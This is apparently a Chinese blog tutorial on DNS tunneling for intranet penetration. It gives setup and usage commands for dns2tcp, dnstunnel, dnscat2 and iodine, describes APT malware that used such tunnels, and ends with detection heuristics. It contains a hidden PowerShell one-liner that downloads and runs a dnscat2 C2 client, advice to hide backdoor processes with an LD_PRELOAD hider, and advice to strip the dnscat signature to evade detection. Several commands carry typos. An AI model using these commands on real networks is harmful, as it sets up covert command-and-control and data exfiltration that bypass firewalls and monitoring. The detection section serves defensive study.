目录
前言
最近开始研究隧道相关,如前做了个整理——内网渗透系列:内网穿透(隧道)学习,本篇专门来学习DNS隧道
一、DNS隧道技术
1、DNS协议
详情参见我之前写的:一文搞明白DNS与域名解析
非常详细具体的讲清楚了整个DNS
2、DNS隧道
DNS隧道(DNS Tunneling)是将其他协议的内容封装在DNS协议中,然后以DNS请求和响应包完成传输数据(通信)的技术
(1)场景
当前网络世界中的DNS是一项必不可少的服务,所以防火墙和入侵检测设备处于可用性和用户友好的考虑将很难做到完全过滤掉DNS流量,无论防火墙检测多么严格,一般都会开启DNS查询的53端口
因此,攻击者可以利用它实现诸如远程控制,文件传输等操作,众多研究表明DNS Tunneling在僵尸网络和APT攻击中扮演着至关重要的角色。
(2)原理
DNS隧道依据其实现方式大致可分为直连和中继两类:
1、直连
- 用户端直接和指定的目标DNS服务器建立连接,然后将需要传输的数据编码封装在DNS协议中进行通信,本质上是典型的C/S结构
- 优点:具有较高速度
- 缺点:隐蔽性弱、易被探测追踪的缺点也很明显。另外直连方式的限制比较多,如目前很多的企业网络为了尽可能的降低遭受网络攻击的风险,一般将相关策略配置为仅允许与指定的可信任DNS服务器之间的流量通过
2、中继隧道:
- 通过DNS迭代查询而实现的中继DNS隧道,这种方式极其隐秘,且可在绝大部分场景下部署成功。
- 但由于数据包到达目标DNS服务器前需要经过多个节点的跳转,数据传输速度和传输能力较直连会弱很多
- 中继模式过程如下图所示,其根本目标是让DNS数据包传输到我们自己指定的DNS权威服务器
- 攻击者控制了PC植入了木马,且aaa.com域名和其权威域名服务器也是攻击者控制的
- Step1:受控PC机将数据封装进DNS数据包里,像局域网内部的本地域名服务器请求查询aaa.com
- Step 2:本地域名服务器透过防火墙向根域名服务器发送查询请求
- Step 3:经过大量迭代查询,查询请求最终发向aaa.com的权威域名服务器
- Step 4:aaa.com权威域名服务器是在攻击者的控制下,解析发送过来的DNS数据包并发送回应包
- Step 5:DNS回应包穿透防火墙
- Step 6:DNS回应包进入内网
- Step 7:本地域名服务器将回应包返回给受控PC机
- Step 8:受控PC机解析DNS回应包里的数据,得到新的指令
实现DNS隧道的关键要点:
-
规避DNS缓存机制:每次查询的域名都是不存在或者过期的
-
可利用DNS查询类型及其载荷编码:比如txt类型
-
如何应对域名系统采用的C/S机制,即Server不可能发起连接:Client会定时向Server发送请求,保证二者之间的通信状态(这其实是个大破绽)
二、DNS隧道工具
1、dns2tcp
github:https://github.com/alex-sector/dns2tcp
最后更新于2017年,C语言编写
TCP over DNS,即通过DNS隧道转发TCP连接,没有加密。采用直连,但速度不是特别乐观,优势在于kali直接集成了这个工具,部分linux发行版也都可以直接通过包工具下载,相对方便
(1)源码
太多了,就不贴了,到github去看吧
(2)用法
客户端:
-
查看可连接
$ dns2tcpc -z dns2tcp.hsc.fr -k <my-key> <dns_server> Available connection(s) : ssh-gw ssh6-home ssl-tunnel $
-
SSL隧道连接
$ dns2tcpc -r ssl-tunnel -l 4430 -k <my-key> -z dns2tcp._hsc.fr <dns_server> listening on port 4430 ...
-
文件配置
$ cat > ~/.dns2tcprc << EOF domain = dns2tcp.hsc.fr resource = ssl-tunnel local_port = 4430 debug_level = 1 key = whateveryouwant server = the_dns_server # or scan /etc/resolv.conf EOF $ dns2tcpc
服务端:
-
文件配置
$ cat > ~/.dns2tcpdrc << EOF listen = x.x.x.x port = 53 user = nobody key = whateveryouwant chroot = /var/empty/dns2tcp/ domain = dns2tcp.hsc.fr resources = ssh:127.0.0.1:22 , smtp:127.0.0.1:25, pop3:10.0.0.1:110, ssh2:[fe80::1664]:22 EOF $ ./dns2tcpd -F -d 1
2、dnstunnel
github:https://github.com/ice-ice/dnstunnel
最后更新于2019年,Go语言编写
支持 windows 64位 和 linux 64位,内网极端环境下(防火墙只允许dns协议),拿到root权限后,配合hook隐藏技术,下后门,远程执行shell命令
优势:
- 使用了aes对称加密算法,传输过程即使人工手动检测到DNS异常传输也难以解码
- 传输协议稳定,客户端&服务端严格遵循DNS MX协议,且传输过程分段打包传输
- 使用了http扩展协议,可以通过http post的方式优雅关停服务。避免手动hook隐藏以后 找不到进程无法结束(例如linux上使用 curl 即可优雅关停,下文有使用说明)
- 跨平台,多平台
劣势:
- 没有做相关的rookit hook 进程可见。在此推荐1个linux效果不错 兼容性很强的hook。可以自己手动hook。已经测试了可用。
另一方面考虑是系统兼容性问题所以没有整合到代码中,还是自己make自己手动hook稳定性比较好。
https://github.com/gianlucaborello/libprocesshider (使用了 ld preloader 技术) - 积略大,因为是使用golang写的,在没压缩的情况下已经比较大了,可以自行加壳压缩。目前渗透工作,文件体积大小不是瓶颈
- 传输略慢,命令回显需要等待一些时间,且禁止发送超长命令
(1)源码
使用前得看看源码,主要是别有后门
(2)用法
- 使用生成器 generator.exe 配置服务端端口 和 客户端连接的地址,设置aes密钥(16位)
- 服务端启动、客户端启动:在服务端控制台上发送shell命令。稍作等待即可回显
- 优雅关停: 配置http服务端口, 向指定地址 /off 发送http post请求,即可关闭程序,例如linux :
curl "http://127.0.0.1:8080/off" -X POST -d "aes密钥"
优雅关停场景:在hook进程或者内核hook的情况下,很难找到这个进程,销毁变得麻烦。使用优雅关停 http请求后自动销毁关闭,省心省力。 - 在服务端使用过程中,
/e
可以直接退出程序,/up
可以返回上层菜单
3、dnscat2
github:https://github.com/iagox86/dnscat2
最后更新于2020年,客户端是用 C 编写的,服务器是用 ruby 编写
IP over DNS,通过 DNS 协议创建加密的命令和控制 (C&C) 通道,直接运行工具即可实现数据传输、文件操作等命令和控制功能
(1)源码
使用前得看看源码,主要是别有后门,然后一个著名特征——查询中包含了dnscat 字符串最好去掉
(2)用法
客户端(目标机)
-
编译安装
$ git clone https://github.com/iagox86/dnscat2.git $ cd dnscat2/client/ $ make
-
运行
$ ruby ./dnscat2.rb [自己的域名]
服务端(攻击者的权威DNS)
-
安装(假设已经有Ruby/Gem )
$ git clone https://github.com/iagox86/dnscat2.git $ cd dnscat2/server/ $ gem install bundler $ bundle install
-
运行
$ ruby ./dnscat2.rb [自己的域名]
4、dnscat2-powershell
github:https://github.com/lukebaggett/dnscat2-powershell
dnscat2的powershell客户端
用法参见PowerShell DNS Command & Control with dnscat2-powershell
5、iodine
github:https://github.com/yarrick/iodine
持续更新,C语言编写
IPv4 over DNS,即通过DNS隧道转发IPv4数据包,在编码,请求类型上提供了更丰富的选择,而且在速度方面更快
源码和用法以及注意事项都可以在github上看,很详细了
三、DNS隧道应用
1、dns2tcp
(1)环境
- 客户端:本地虚拟机 kali x64
- 服务器:vps(中国香港)
- 本地域名服务器:谷歌(8.8.8.8),阿里(223.5.5.5),DNSPoD(119.29.29.29)
- 公网域名:xxx.xxx.xxx.xx
需要配置一台权威DNS Server,注册完域名后,我们需要配置一个A记录和一个NS记录(也可以配置多个NS记录)。如
ns.domain.com IN A xxx.xxx.xxx.xxx
abc.domain.com IN NS ns.domain.com
(2)实践
服务器
-
配置文件形如:
listen = 0.0.0.0 port = 53 user = nobody chroot = /tmp domain = <domain.com> resources = ssh:127.0.0.1:22,socks:127.0.0.1:1082,http: 127.0.0.1:3128,nc:127.0.0.1:2222
-
搭建隧道
dns2tcpd -f /etc/dns2tcpd.conf -d 3 nc -l 2222 > test.txt
客户端
-
kali预装了,直接运行
dns2tcpc -r nc -d 3 -z <domain.com> <server ip> -l 8888 nc 127.0.0.1 8888 < test.txt
(3)分析
- type使用的是TXT来传输,dns2tcp只可以选择两种type,分别是TXT和KEY,默认是TXT
- 域名前的是通过隧道加密传输的数据,使用了base64加密
- 传输数据时,会将数据切成若干个小单元依次发出,时间间隔非常小,当没有数据交互的时候,隧道两端仍然会发包保持通信状态,大概0.6s发出一个数据包,最大是3s可以设置
- 请求包和回应包的内容基本一致,除了回应包比请求包多了一串base64加密后的数据
2、dnscat2
(1)环境
客户端是windows
服务端首先,搞一台vps和一个域名:买了一台阿里云的服务器,并注册一个域名,假定服务器ip为xxx.xxx.xxx.xxx,域名为:aaa.com
接下来配置一台权威的DNS服务器,用来接收中继的数据包。对于注册的域名,我们需要配置两条记录,一条是NS记录,一条是A记录
一定记得要配置下安全组策略,出口和入口配置允许53端口
然后用ping、nslookup和抓包来测试下是否解析成功
(2)实践
VPS上服务端
-
ruby环境
apt-get install gem apt-get install ruby-dev apt-get install libpq-dev apt-get install ruby-bundler
-
安装
apt-get insatll git git clone https://githun.com/iagox86/dnscat2.git cd dnscat2/server bundle insatll
-
运行
ruby ./dnscat2.rb c.fankehui.cn -e open -c dnsvirus --no-cache #-c参数定义了pre-shared secret,在服务器端和客户端使用相同加密的秘密dnsvirus,可以防止man-in-the-middle。 #-e参数可以规定安全级别,open代表让客户端进行选择。 #--no-cache,请务必在运行服务器时添加无缓存选项,因为powershell-dnscat2客户端与dnscat2服务器的caching模式不兼容
客户端
-
运行powershell客户端
powershell.exe -nop -w hidden -c {IEX(New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/ dnscat2-powershell/master/dnscat2.ps1'); Start-Dnscat2 -Domain c.aaa.com -PreSharedSecret dnsvirus} #-Domain参数需要指定你设置的NS域名 #-PreSharedSecret 为指定的密钥和服务端保持一致
可以在服务端看到客户端上线
(3)分析
可以看到dnscat2加密后的域名开头有dnscat的样式。此数据包使用的是CNAME的类型
3、iodine
(1)环境
同样是VPS,NS记录和A记录
(2)实践
服务端
-
建立隧道
iodined -fP hackbijipasswd 10.0.0.1 dnsns.hackbji.top 或 iodined -fP hackbijipasswd 10.0.0.1 dns.hackbji.top
-
查看服务器IP地址
多了一个dns0接口,IP地址是咱们设置的10.0.0.1
客户端
-
隧道
iodine -fP hackbjipasswd 96.45.188.252 dnsns.hackbiji.top 或 iodine -fP hackbjipasswd 96.45.188.252 dns.hackbiji.top
-
查看本地客户端IP地址
多了一个dns0接口,并且IP地址是自动生成和服务器一个网段的10.0.0.2
-
查看本地路由
访问10.0.0.0网段的流量都会走dns0隧道接口
-
从本地dns0隧道登陆远程服务器
ssh穿越dns0隧道,成功登陆远程服务器
(3)分析
Iodine默认使用TXT和NULL类型发送数据,支持NULL,TXT,SRV,MX,CNAME,A等多种查询请求类型
发现ns.xxx.xxx前面是加密的数据,Iodine支持base32,base64,base128等多种编码规范。使用了NULL类型传递
可以发现这个数据包里,iodine使用了NULL类型来回应,这里是我们传递的加密数据
4、APT
- Trojan.Win32.Ismdoor.gen:使用了多层C&C通信协议结构,使用了DNS隧道技术,C&C服务器的命令会被协议为IPv6地址
- Backdoor.Win32.ClIEcker:允许恶意程序从服务器接收随机类型的DNS数据包,该木马没有逻辑上的子协议,只有发送和接收数据包的请求
- Backdoor.Win32.Denis:该恶意程序只使用一个DNS格式的数据包与DNS服务器通信,这种格式汇总,回应的大小被限制为只有4个字节,这只是一个常规的木马下载器,而且下载文件的速度很慢
- PlugX远控变种: 该后门木马结合DNS隧道传输技术和PlugX远控程序,通过建立的DNS隧道进行攻击控制。利用DNS请求应答机制作为攻击渗透的命令控制通道,把C&C服务器指令封装到DNS相应报文中,以此控制被控端主机。并且依托DNS协议的特性,该木马可以有效穿透防火墙,躲避常规的安全检测
- 2016年5月,Palo Alto曝光了一起APT攻击,Webky团队利用DNS请求应答作为攻击渗透的命令控制通道。攻击者把CC服务器的指令封装在DNS响应报文里
- 2017年3月,思科Talos团队发现一起名为DNSMessenger的攻击,该恶意软件的所有命令与控制通信都经过DNS TXT类型查询和响应。以此来躲避检测
可参考 利用DNS隧道通信木马分析
四、检测和防御
1、DNS报文数量大
正常DNS会话比较简短,随着一次DNS解析任务结束而结束
DNS隧道木马的会话随着木马的生命周期结束而结束,但在整个木马的生命周期里会向CC服务器发送心跳包,传输信息,资源文件等行为。CC服务器也会发送控制指令。所以在DNS隧道木马的会话中DNS报文数量大。
2、DNS类型
在正常的DNS流量中。A记录类型的流量占20%-30%,CNAME记录为38%-48%,AAAA记录占25%,NS记录只有5%,TXT记录只有1%-2%
为了能塞更多的信息,DNS隧道的消息中TXT或NULL等不常用的记录类型多
3、域名有部分固定不变
变化的都是子域名
4、DNS服务器异常
- 地理位置异常
- 访问非受信的DNS服务器
5、dnscat的显著特征
dnscat 查询中包含了dnscat 字符串
6、CNN检测
https://github.com/BoneLee/dns_tunnel_dectect_with_CNN
写于2018年,简单的CNN检测DNS隧道,有数据,效果看起来出乎预料的好(97%-99%,感觉有点离谱,也有可能与训练和测试的数据有关,猜测还是有过拟合的情况,以及泛化能力还是打问号),但落地打问号,此外算是一种启发吧
结语
参考: